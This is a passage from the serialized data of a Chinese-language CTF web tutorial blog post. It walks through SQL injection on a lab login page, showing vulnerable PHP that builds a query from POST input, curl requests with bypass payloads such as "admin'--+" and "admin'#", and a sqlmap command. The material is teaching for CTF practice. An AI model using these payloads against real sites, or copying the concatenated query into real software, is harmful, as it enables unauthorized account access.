",[26,14220,14221],{},"login.php","，源码：",[19,14224,14226],{"className":5291,"code":14225,"language":5293,"meta":24,"style":24},"$user = $_POST['user'];\n$pass = $_POST['pass'];\n$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[26,14227,14228,14233,14238],{"__ignoreMap":24},[29,14229,14230],{"class":31,"line":32},[29,14231,14232],{},"$user = $_POST['user'];\n",[29,14234,14235],{"class":31,"line":38},[29,14236,14237],{},"$pass = $_POST['pass'];\n",[29,14239,14240],{"class":31,"line":104},[29,14241,14242],{},"$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[1268,14244,14246],{"id":14245},"第一步正常登录失败","第一步：正常登录失败",[15,14248,14249,14251],{},[187,14250,189],{},"：先建立\"正常请求\"的基线，确认接口参数名（user/pass）和失败时的输出特征。",[19,14253,14255],{"className":152,"code":14254,"language":154,"meta":24,"style":24},"curl -X POST \"http://target/login.php\" --data \"user=admin&pass=wrong\"\n",[26,14256,14257],{"__ignoreMap":24},[29,14258,14259,14261,14263,14265,14267,14270,14272,14275,14277,14280],{"class":31,"line":32},[29,14260,5524],{"class":161},[29,14262,14028],{"class":165},[29,14264,14031],{"class":169},[29,14266,5527],{"class":1526},[29,14268,14269],{"class":169},"http://target/login.php",[29,14271,6167],{"class":1526},[29,14273,14274],{"class":165}," --data",[29,14276,5527],{"class":1526},[29,14278,14279],{"class":169},"user=admin&pass=wrong",[29,14281,5533],{"class":1526},[15,14283,1413,14284,389],{},[26,14285,14286],{},"Login failed",[1268,14288,14290],{"id":14289},"第二步构造绕过","第二步：构造绕过",[15,14292,14293,14295,14296,14299],{},[187,14294,255],{},"：观察源码 ",[26,14297,14298],{},"WHERE username='...' AND password='...'","，猜测我们可以在用户名里\"提前闭合单引号并用注释吃掉后半句\"。这样密码校验被注释掉，只要用户存在即可登录。",[15,14301,14302,14304,14305,14307,14308,933,14311,14314,14315,3914,14317,9699],{},[187,14303,1749],{},"：发送 payload 后看是否从 ",[26,14306,14286],{}," 变成成功页面；若失败，尝试 ",[26,14309,14310],{},"admin'#",[26,14312,14313],{},"admin'-- "," 等不同注释符（MySQL 支持 ",[26,14316,13385],{},[26,14318,14319],{},"#",[15,14321,205],{},[19,14323,14325],{"className":152,"code":14324,"language":154,"meta":24,"style":24},"curl -X POST \"http://target/login.php\" --data \"user=admin'--+&pass=wrong\"\n",[26,14326,14327],{"__ignoreMap":24},[29,14328,14329,14331,14333,14335,14337,14339,14341,14343,14345,14348],{"class":31,"line":32},[29,14330,5524],{"class":161},[29,14332,14028],{"class":165},[29,14334,14031],{"class":169},[29,14336,5527],{"class":1526},[29,14338,14269],{"class":169},[29,14340,6167],{"class":1526},[29,14342,14274],{"class":165},[29,14344,5527],{"class":1526},[29,14346,14347],{"class":169},"user=admin'--+&pass=wrong",[29,14349,5533],{"class":1526},[15,14351,14352],{},"实际执行的 SQL：",[19,14354,14356],{"className":5318,"code":14355,"language":5320,"meta":24,"style":24},"SELECT * FROM users WHERE username='admin'-- ' AND password='wrong'\n",[26,14357,14358],{"__ignoreMap":24},[29,14359,14360],{"class":31,"line":32},[29,14361,14355],{},[15,14363,14364,14366,14367,14370],{},[26,14365,13385],{}," 注释掉密码部分。预期输出：",[26,14368,14369],{},"Login success"," 和 flag。",[15,14372,14373,14376,14377,14380,14381,14384],{},[187,14374,14375],{},"为什么能成功","：数据库中确实存在 ",[26,14378,14379],{},"admin"," 用户，查询 ",[26,14382,14383],{},"WHERE username='admin'"," 就能命中一行；命中即视为登录成功。",[1268,14386,14388],{"id":14387},"第三步sqlmap-验证","第三步：sqlmap 验证",[15,14390,14391,14393],{},[187,14392,189],{},"：用工具确认手工结论，同时自动探测其他注入点。",[19,14395,14397],{"className":152,"code":14396,"language":154,"meta":24,"style":24},"sqlmap -u \"http://target/login.php\" --data \"user=a&pass=b\" --batch\n# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n# --batch 表示全程自动选择默认选项，不需要人工确认。\n# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[26,14398,14399,14422,14427,14432],{"__ignoreMap":24},[29,14400,14401,14403,14405,14407,14409,14411,14413,14415,14418,14420],{"class":31,"line":32},[29,14402,6157],{"class":161},[29,14404,6160],{"class":165},[29,14406,5527],{"class":1526},[29,14408,14269],{"class":169},[29,14410,6167],{"class":1526},[29,14412,14274],{"class":165},[29,14414,5527],{"class":1526},[29,14416,14417],{"class":169},"user=a&pass=b",[29,14419,6167],{"class":1526},[29,14421,6170],{"class":165},[29,14423,14424],{"class":31,"line":38},[29,14425,14426],{"class":823},"# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n",[29,14428,14429],{"class":31,"line":104},[29,14430,14431],{"class":823},"# --batch 表示全程自动选择默认选项，不需要人工确认。\n",[29,14433,14434],{"class":31,"line":110},[29,14435,14436],{"class":823},"# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[15,14438,14439,14440,14443],{},"预期输出：报告 ",[26,14441,14442],{},"Parameter: user (POST)"," 存在注入。",[10,14445,1101],{"id":1100},[15,14447,14448],{},"Web 入门只需要掌握：参数不可信；SQLi/XSS/SSRF 的复现与检测；curl、Burp、sqlmap 三个工具的核心用法。",[1114,14450,14451],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":24,"searchDepth":38,"depth":38,"links":14453},[14454,14455,14456,14457,14458,14459,14460,14461,14462,14463],{"id":12621,"depth":104,"text":12622},{"id":12729,"depth":104,"text":12730},{"id":12827,"depth":104,"text":12828},{"id":13422,"depth":104,"text":13423},{"id":13715,"depth":104,"text":13716},{"id":13939,"depth":104,"text":13940},{"id":14053,"depth":104,"text":14054},{"id":14117,"depth":104,"text":14118},{"id":14214,"depth":104,"text":14215},{"id":1100,"depth":104,"text":1101},"完整复现 SQL 注入、XSS、SSRF 三个漏洞：环境搭建、请求与响应、演示 curl、Burp Suite、sqlmap 的核心用法。",{"date":1132,"image":14466,"alt":14467,"tags":14468,"published":100},"/blogs-img/blog9.png","CTF Web 入门",[1136,6676,1138],"/blogs/ctf-web-overview",{"title":12616,"description":14464},"blogs/9. ctf-web-overview","Zw9ZNNI8nq4-16xeG1TaILfNuOv5EuKnOPkpkm05cIk",1786796567909]